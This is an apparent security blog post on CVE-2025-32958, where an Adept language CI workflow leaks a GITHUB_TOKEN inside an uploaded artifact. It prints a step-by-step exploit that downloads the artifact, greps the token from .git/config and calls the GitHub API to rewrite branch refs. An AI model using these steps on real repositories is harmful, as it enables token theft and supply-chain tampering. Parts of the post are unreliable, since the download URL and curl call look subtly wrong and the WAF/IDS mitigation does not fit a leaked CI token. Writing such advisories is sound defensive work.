CVE-2025-32958: Critical Adept Language Vulnerability Allowing Malicious Code Execution

Overview

In this blog post, we will delve into the details of a critical cybersecurity vulnerability identified in Adept, a general-purpose programming language. This vulnerability, designated as CVE-2025-32958, allows an attacker to exploit a weakness in the language’s remoteBuild.yml workflow file prior to commit a1a41b7, potentially leading to system compromise or data leakage. This presents a significant threat to any system or application that relies on the Adept language for its operations, making it a pressing issue that warrants urgent attention and action.

Vulnerability Summary

CVE ID: CVE-2025-32958
Severity: Critical – CVSS Score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Adept Language | Prior to commit a1a41b7

How the Exploit Works

The exploit works by taking advantage of the Adept language’s use of actions/upload-artifact@v4 to upload the mac-standalone artifact, a zip of the current directory which includes the automatically generated .git/config file containing the run’s GITHUB_TOKEN. An attacker can exploit this vulnerability by downloading the artifact before the end of the workflow. This provides a window of opportunity for the attacker to extract the token and use it with the Github API to push malicious code or rewrite release commits in the AdeptLanguage/Adept repository.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

# Download the artifact
wget https://github.com/AdeptLanguage/Adept/actions/artifacts/download?artifact=mac-standalone.zip
# Unzip the downloaded file
unzip mac-standalone.zip
# Extract GITHUB_TOKEN
grep -oP '(?<=token=).+' .git/config
# Use token to push malicious code or rewrite commits
curl -H "Authorization: token [TOKEN]" https://api.github.com/repos/AdeptLanguage/Adept/git/refs/heads/[branch] -d '{ "sha": "[new commit sha]" }'

In this example, the attacker first downloads the artifact and extracts the GITHUB_TOKEN. The token is then used to push malicious code or rewrite commits in the AdeptLanguage/Adept repository. The potential impact of this exploit is severe, as it could lead to system compromise or data leakage.

Mitigation and Prevention

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch from commit a1a41b7. In situations where patching is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as temporary mitigation. However, these measures should be viewed as stopgap solutions until the patch can be applied.